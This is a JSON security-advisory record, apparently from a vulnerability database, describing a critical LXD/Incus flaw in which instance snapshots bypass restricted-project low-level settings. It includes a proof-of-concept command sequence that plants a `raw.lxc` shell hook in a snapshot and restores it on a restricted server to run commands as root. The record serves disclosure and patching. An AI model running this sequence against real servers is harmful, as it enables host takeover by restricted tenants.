{"id":"GHSA-47w9-6r3f-938g","aliases":[],"url":"https://o3.security/vulnerability/GHSA-47w9-6r3f-938g","summary":"LXD has restricted project bypass leading to arbitrary command execution","details":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","published":"2026-11-06T19:51:26Z","modified":"2026-11-06T20:00:05.895332107Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/canonical/lxd","fixedVersion":"0.0.0-20260630083100-c5184be310b1"}],"fix":{"url":"https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49","label":"canonical/lxd@5aac658"},"references":[{"type":"WEB","url":"https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g"},{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48751"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19"},{"type":"PACKAGE","url":"https://github.com/canonical/lxd"},{"type":"WEB","url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7"},{"type":"WEB","url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-06T20:00:05.895332107Z"}}